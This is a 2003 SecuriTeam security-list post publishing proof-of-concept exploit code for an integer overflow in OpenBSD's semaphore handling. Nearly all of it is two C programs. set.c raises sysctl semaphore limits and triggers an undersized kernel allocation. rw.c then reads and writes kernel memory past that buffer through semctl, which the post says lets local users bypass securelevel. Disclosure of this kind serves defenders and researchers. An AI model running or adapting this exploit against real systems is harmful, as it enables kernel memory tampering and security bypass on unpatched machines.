[EXPL] Integer Overflow in OpenBSD Kernel (PoC)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/14/03

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      Integer Overflow in OpenBSD Kernel (PoC)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/unixfocus/5OP0E0AB5E.html> Local Security Bug
    in OpenBSD Semaphore Handling, a vulnerabliity in OpenBSD allows local
    users to bypass securelevel, the following two files are PoC for the
    issue.

    DETAILS

    rw.c:
    #include <errno.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/ipc.h>
    #include <sys/sem.h>
    #include <sys/param.h>
    #include <sys/sysctl.h>

    int semid, idx, val;

    int read_sem(struct sem *);
    void do_read(char *);
    void do_write(char *);
    void dump_hex(void *, unsigned int);
    void dump_sem(struct sem *);

    int main(int argc, char *argv[]){
      int quit;
      char buf[80], prev;

      if(argc < 2){
        printf("%s <semid>\n", argv[0]);
        return 1;
      }

      semid = atoi(argv[1]);
      quit = 0;

      while(!quit){
        printf("\n> ");
        fgets(buf, sizeof(buf), stdin);

        switch(buf[0]){
        case 'r':
        case 'R':
          prev = 'r';
          do_read(buf);
          break;

        case 'w':
        case 'W':
          prev = 'w';
          do_write(buf);
          break;

        case 'q':
        case 'Q':
          quit = 1;
          break;

        case 'h':
        case 'H':
          printf("Enter one of the following commands:\n");
          printf("\tr - read a semaphore\n");
          printf("\t\tsyntax r index[.level]\n");
          printf("\t\te.g. r 1\n");
          printf("\t\te.g. r 1.val\n");
          printf("\tw - write a value\n");
          printf("\t\tsyntax w index value\n");
          printf("\t\te.g. w 1 7\n");
          printf("\tq - quit\n");
          break;

        case '\r':
        case '\n':
          if(prev == 'r'){
            sprintf(buf, "r %d\n", ++idx);
            do_read(buf);
          }
          else if(prev == 'w'){
            sprintf(buf, "w %d %d\n", ++idx, val);
            do_write(buf);
          }
          break;
          
        default:
          break;
        }
      }

      return 0;
    }

    /* Read the contents of a sem structure.
     *
     * idx = index into the array
     * s = buffer to read sem structure into
     */

    int read_sem(struct sem *s){
            /*
             * At this point we have forced the kernel to allocate a too-small
             * buffer. We can read and write members of struct sem's beyond
    this
             * this buffer using semctl(). A struct sem looks like this:
             *
             * struct sem {
             * unsigned short semval;
             * pid_t sempid;
             * unsigned short semncnt;
             * unsigned short semzcnt;
             * };
             */

      memset(s, 0, sizeof(struct sem));

      s->semval = semctl(semid, idx, GETVAL, NULL);
      if(errno != 0)
        goto err;

      s->sempid = semctl(semid, idx, GETPID, NULL);
      if(errno != 0)
        goto err;

      s->semncnt = semctl(semid, idx, GETNCNT, NULL);
      if(errno != 0)
        goto err;

      s->semzcnt = semctl(semid, idx, GETZCNT, NULL);
      if(errno != 0)
        goto err;

      return 0;

    err:
      perror("read_sem: semctl");
      return -1;
    }

    void dump_hex(void *buf, unsigned int size){
      int i, *p;

      p = buf;

      printf("\n");

      for(i = 0; (i * sizeof(int)) < size; i++)
        printf("0x%.08x ", p[i]);
    }

    void dump_sem(struct sem *s){
      printf("val = %d (%.04x)\n", s->semval, s->semval);
      printf("pid = %d (%.08x)\n", s->sempid, s->sempid);
      printf("ncnt = %d (%.04x)\n", s->semncnt, s->semncnt);
      printf("zcnt = %d (%.04x)\n", s->semzcnt, s->semzcnt);
    }

    void do_write(char *buf){
      char *p;

      /* write something */
      if((p = strchr(buf, ' ')) == NULL){
        printf("w must take parameters\n");
        return;
      }

      p++;
      idx = atoi(p);

      if((p = strchr(p, ' ')) == NULL){
        printf("w needs a value to write\n");
        return;
      }

      p++;

      if(!strncmp(p, "0x", 2))
        sscanf(p, "0x%x", &val);
      else
        val = atoi(p);
      semctl(semid, idx, SETVAL, val);
    }

    void do_read(char *buf){
      int ret;
      char *p;
      struct sem sem;

      /* read something */
      if((p = strchr(buf, ' ')) == NULL){
        printf("r must take an index argument\n");
        return;
      }

      p++;
      idx = atoi(p);

      ret = read_sem(&sem);
      if(ret < 0)
        return;

      printf("Index %d:\n", idx);

      if((p = strchr(p, '.')) == NULL){
        dump_sem(&sem);
        dump_hex(&sem, sizeof(sem));
      }
      else{
        p++;
        if(strstr(p, "val"))
          printf("val = %d (%.04x)\n",
            sem.semval, sem.semval);
        if(strstr(p, "pid"))
          printf("pid = %d (%.08x)\n",
            sem.sempid, sem.sempid);
        if(strstr(p, "ncnt"))
          printf("ncnt = %d (%.04x)\n",
            sem.semncnt, sem.semncnt);
        if(strstr(p, "zcnt"))
          printf("zcnt = %d (%.04x)\n",
            sem.semzcnt, sem.semzcnt);
      }
    }

    set.c:
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/ipc.h>
    #include <sys/sem.h>
    #include <sys/param.h>
    #include <sys/sysctl.h>

    int main(void){
      int sem, nsems, ret;
      int sys_name[3], old_semmns, semmns, old_semmsl, semmsl;
      size_t old_size;

      /*
       * 357913942 * 12 = 100000008 (rounds to 8), so the buffer is 8 bytes
       * long.
       */

      nsems = 357913942;

      /* set the max semaphores allowed so that nsems is valid */

      sys_name[0] = CTL_KERN;
      sys_name[1] = KERN_SEMINFO;
      sys_name[2] = KERN_SEMINFO_SEMMNS;
      old_size = sizeof(old_semmns);

      ret = sysctl(sys_name, 3, &old_semmns, &old_size, NULL, NULL);

      if(ret < 0){
        perror("sysctl(get semmns)");
        return 1;
      }

      semmns = old_semmns + nsems;

      ret = sysctl(sys_name, 3, &old_semmns, &old_size, &semmns,
        sizeof(semmns));

      if(ret < 0){
        perror("sysctl(semmns)");
        return 1;
      }

      sys_name[0] = CTL_KERN;
      sys_name[1] = KERN_SEMINFO;
      sys_name[2] = KERN_SEMINFO_SEMMSL;
      old_size = sizeof(old_semmsl);

      ret = sysctl(sys_name, 3, &old_semmsl, &old_size, NULL, NULL);

      if(ret < 0){
        perror("sysctl(get semmsl)");
        return 1;
      }

      semmsl = old_semmsl + nsems;

      ret = sysctl(sys_name, 3, &old_semmsl, &old_size, &semmsl,
        sizeof(semmsl));

      if(ret < 0){
        perror("sysctl(semmsl)");
        return 1;
      }

      sem = semget(IPC_PRIVATE, nsems, IPC_CREAT);

      if(sem < 0){
        perror("semget");
        return 1;
      }

      printf("Successfully got a semaphore\n");
      printf("id = %d\n", sem);

      return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:blexim@hush.com> blexim.

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